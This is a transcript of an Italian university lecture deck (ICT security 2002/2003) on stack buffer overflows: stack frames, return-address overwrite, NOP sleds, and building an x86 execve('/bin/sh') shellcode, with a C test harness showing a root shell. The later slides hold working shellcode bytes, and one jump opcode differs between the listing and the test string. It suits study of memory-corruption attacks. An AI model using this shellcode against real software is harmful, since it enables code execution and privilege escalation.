1 / 34

Buffer Overflows (stack based)

Alberto Ornaghi <alor@sikurezza.org> Lorenzo Cavallaro <sullivan@sikurezza.org>. Buffer Overflows (stack based). Table of contents. Introduzione all’IA-32 Problema Code Injection Shellcode. Introduzione. Record di attivazione.

adsila
Download Presentation

Buffer Overflows (stack based)

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. Alberto Ornaghi <alor@sikurezza.org> Lorenzo Cavallaro <sullivan@sikurezza.org> Buffer Overflows(stack based) ICT security 2002/2003

  2. Table of contents • Introduzione all’IA-32 • Problema • Code Injection • Shellcode ICT security 2002/2003

  3. Introduzione ICT security 2002/2003

  4. Record di attivazione Return Address - E’ l’indirizzo a cui viene ceduto il controllo una volta terminata l’esecuzione della funzione. Base Pointer - E’ il contenuto del registro EBP al momento della chiamata alla funzione. Rappresenta il puntatore al record di attivazione precedente che deve essere ripristinato al termine della funzione high ret address base pointer automatic variables ... ... low ICT security 2002/2003

  5. 4 3 ret address base pointer 5 Sullo stack stack int foo(int a, int b) { int i = 5; return (a + b) * i; } int main(int argc, char **argv) { int c = 3, d = 4, e = 0; e = foo(c, d); printf(“e = %d\n”, e); } high low ICT security 2002/2003

  6. ret address base pointer b a ret address base pointer RDA innestati high d int foo(int a, int b) { bar(a, b); } int bar(int a, int b) { ... } int main(int argc, char **argv) { foo(c, d); } c low ICT security 2002/2003

  7. Registri della CPU high d • EIP: instruction pointer • “puntatore all’istruzione successiva” • EBP: frame pointer • “puntatore riferito alla base del record di attivazione” (fisso) • ESP: stack pointer • “puntatore riferito al top della stack” (mobile) c ret address base pointer b a ret address base pointer low ICT security 2002/2003

  8. Prologo ed epilogo • Prologo: push %ebp (salva %ebp) mov %ebp, %esp (sposta %esp) • Epilogo leave (ripristina %esp e %ebp) ret (ripristina %eip) ICT security 2002/2003

  9. Variabili automatiche high b • Int foo(int a, int b) • { • int i, j; • char buf[9]; • … • } • L’allineamento di default sullo stack e’ a double word (4 byte) • I buffer vengono estesi per essere allineati a 4 byte a ret address base pointer i j pad buffer low ICT security 2002/2003

  10. Problema ICT security 2002/2003

  11. 05 00 00 00 5 7B 00 00 00 123 61 a 72 65 7A 7A r e z z 73 69 63 75 s i c u Situazione normale high b • int foo(int a, int b) • { • int i, j; • char buf[9]; • i = 5; • j = 123; • strcpy(buf, “sicurezza”); • } a ret address base pointer low ICT security 2002/2003

  12. 05 00 00 00 5 65 00 00 00 e 61 62 63 64 a b c d 72 65 7A 7A r e z z 73 69 63 75 s i c u Buffer Overflow Situazione critica high b int foo(int a, int b) { int i, j; char buf[9]; i = 5; j = 123; strcpy(buf, “sicurezzabcde”); } a ret address base pointer low ICT security 2002/2003

  13. Ret Overflow Segmentation fault... EIP = 0x65656565 65 65 65 65 ret address 64 64 64 64 base pointer 63 63 63 63 5 123 6262 62 62 61 61 61 61 72 65 7A 7A 73 69 63 75 Situazione molto critica high b int foo(int a, int b) { int i, j; char buf[9]; i = 5; j = 123; strcpy(buf, “sicurezzaaaabbbbcccceeeeffff”); } a low ICT security 2002/2003

  14. Code Injection ICT security 2002/2003

  15. 8B FC FF BF ret address 90 90 90 90 base pointer 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ret addr 90 90 90 90 Modifica del ret address high 0xbffffcab b int a = 3; int b = 5; int e; e = foo(a, b); printf(“%d\n”, e); 0xbffffca7 a 0xbffffc8b low ICT security 2002/2003

  16. 0xbfffffff 0xbfffffff 0xbffffffb 0xbffffffb 0xbffffff7 0xbffffff7 0xbffffff3 0xbffffff3 Guessing del “ret addr” (1) • Non esiste un algoritmo efficiente per trovare il “ret addr” • Procediamo empiricamente tenendo conto che: • il S.O. usa memoria virtuale e paginazione Processo 1 Processo 2 high low ICT security 2002/2003

  17. Guessing del “ret addr” (2) • L’immagine dei processi e’ cosi’ strutturata: high env offset variabile argv RDA main RDA foo offset fisso RDA bar low ICT security 2002/2003

  18. Guessing del “ret addr” (3) • lo stack pointer (esp) e’ una buona base dalla quale poter togliere (o aggiungere) un offset; quindi l’indirizzo cosi’ ottenuto e’ un buon candidato come retaddr del programma vulnerabile. high buf[4] ret addr buf[0] b offset (8) a esp low ICT security 2002/2003

  19. Problematiche • Le funzioni di copia per le stringhe (strcpy, gets, ecc) copiano fino al primo NULL byte (terminatore per le stringhe). • Il codice iniettato non dovra’ contenere NULL byte code[] = “\xeb\x2a\x5f\xc6\x47\x07\x00\x89\x7f\x08\xc7\x47”; strcpy(buf, code); buf = “\xeb\x2a\x5f\xc6\x47\x07” ICT security 2002/2003

  20. Facilitazioni • Per aumentare la probabilita’ di trovare il “ret addr” e’ possibile preparare una “pista di atterraggio” di NOP (0x90) (istruzione macchina che non fa nulla). ret address ... CODE CTED INJE 90 90 90 90 90 90 90 90 ret addr allargato 90 90 90 90 90 90 90 90 ICT security 2002/2003

  21. Struttura del buffer • Il buffer che verra’ iniettato nel programma vulnerabile avra’ una struttura simile a questa: EXECUTABE CODE RET ADDR NOP NOP code[] = “\x90\x90\x90...\xeb\x2a...\x8d\xfc\xff\xbf”; attenzione !! ICT security 2002/2003

  22. Considerazioni... • Il buffer potrebbe essere troppo piccolo per contenere un codice “utile” • Lo stack potrebbe non essere eseguibile • Il “code” puo’ essere messo in qualsiasi punto della memoria (non solo sullo stack, e non solo nel buffer) ICT security 2002/2003

  23. Lo shellcode ICT security 2002/2003

  24. exec.c #include <stdio.h> #include <unistd.h> int main() { char *shell[] = { "/bin/sh", NULL }; execve(shell[0], shell, NULL); } ICT security 2002/2003

  25. base pointer $0x809cd00 $0x0 ($0x809cd00) $0x809cd00 Disasm main push %ebp mov %esp, %ebp sub $0x18, %esp movl $0x809cd00, 0xfffffff8(%ebp) mov 0xfffffff8(%ebp), %eax and 0xfffffff0, %esp mov %eax, 0xfffffff0(%ebp) push %eax push $0x0 movl $0x0, 0xfffffffc(%ebp) lea 0xfffffff0(%ebp), %eax mov 0xfffffffc(%ebp), %edx push %eax mov %edx, 0xfffffff4(%ebp) push 0xfffffff0(%ebp) call 0x804cab0 <__execve> ICT security 2002/2003

  26. $0x0 ($0x809cd00) $0x809cd00 Disasm execve mov $0x8(%ebp), %edi mov $0xc(%ebp), %ecx mov $0x10(%ebp), %edx mov %edi, %ebx mov $0xb, %eax int $0x80 ret address base address ICT security 2002/2003

  27. registri mov $0x8(%ebp), %edi mov $0xc(%ebp), %ecx mov $0x10(%ebp), %edx mov %edi, %ebx mov $0xb, %eax int $0x80 eax = 0xb ebx = “/bin/sh” ecx = (“/bin/sh”, NULL) edx = (0x0) sh-2.03# id uid=0(root) gid=0(root) groups=0(root) ICT security 2002/2003

  28. eax = 0xb ebx = “/bin/sh” ecx = (“/bin/sh”, NULL) edx = (0x0) Lo shellcode Supponiamo di avere l’indirizzo sullo stack di “/bin/sh” nel registro %edi movb $0x0, 0x7(%edi) #terminazione movl %edi, 0x8(%edi) #indirizzo movl $0x0, 0xc(%edi) #NULL lea 0xc(%edi), %edx #envp NULL lea 0x8(%edi), %ecx #array mov %edi, %ebx #/bin/sh mov $0xb, %eax int $0x80 #syscall ICT security 2002/2003

  29. edi = “/bin/sh” Lo shellcode Come troviamo l’indirizzo sullo stack di “/bin/sh” ??? jmp string_addr after_jmp: pop %edi [...] string_addr: call after_jmp .string \"/bin/sh\" Shellcode pagina precedente ICT security 2002/2003

  30. Opcode dello shellcode jmp string_addr # 0xeb 0x1e after_jmp: pop %edi # 0x5f movb $0x0, 0x7(%edi) # 0xc6 0x47 0x07 0x00 movl %edi, 0x8(%edi) # 0x89 0x7f 0x08 movl $0x0, 0xc(%edi) # 0xc7 0x47 0x0c 0x00 0x00 0x00 lea 0xc(%edi), %edx # 0x8d 0x57 0x0c lea 0x8(%edi), %ecx # 0x8d 0x4f 0x08 mov %edi, %ebx # 0x89 0xfb mov $0xb, %eax # 0xb8 0x0b 0x00 0x00 0x00 int $0x80 # 0xcd 0x80 string_addr: call after_jmp # 0xe8 0xd1 0xff 0xff 0xff .string \"/bin/sh\" ICT security 2002/2003

  31. Eliminazione null bytes { xorl %eax, %eax movb %0x0b, %al movl $0x0b, %eax { xorl %eax, %eax movb %al, 0xc(%edi) movb $0x00, 0xc(%edi) ICT security 2002/2003

  32. Shellcode finale jmp string_addr # 0xeb 0x18 after_jmp: pop %edi # 0x5f xorl %eax, %eax # 0x31 0xc0 movb %al, 0x7(%edi) # 0x88 0x47 0x07 movl %edi, 0x8(%edi) # 0x89 0x7f 0x08 movl %eax, 0xc(%edi) # 0x89 0x47 0x0c lea 0xc(%edi), %edx # 0x8d 0x57 0x0c lea 0x8(%edi), %ecx # 0x8d 0x4f 0x08 mov %edi, %ebx # 0x89 0xfb movb $0xb, %al # 0xb0 0x0b int $0x80 # 0xcd 0x80 string_addr: call after_jmp # 0xe8 0xde 0xff 0xff 0xff .string \"/bin/sh\" ICT security 2002/2003

  33. Testing dello shellcode char shellcode[] = "\xeb\x1d\x5f\x31\xc0\x88\x47\x07\x89\x7f\x08\x89” “\x47\x0c\x8d\x57\x0c\x8d\x4f\x08\x89\xfb\xb0\x0b” “\xcd\x80\xe8\xde\xff\xff\xff/bin/sh"; int main() { void (*f)(void) = (void (*)(void))shellcode; f(); } sh-2.03# id uid=0(root) gid=0(root) groups=0(root) ICT security 2002/2003

  34. Lorenzo Cavallaro <sullivan@sikurezza.org> • Alberto Ornaghi <alor@sikurezza.org> • Mailing list del corso (per domande tecniche) sikurezza-dsi@yahoogroups.com sikurezza-dsi-subscribe@yahoogroups.com ICT security 2002/2003

More Related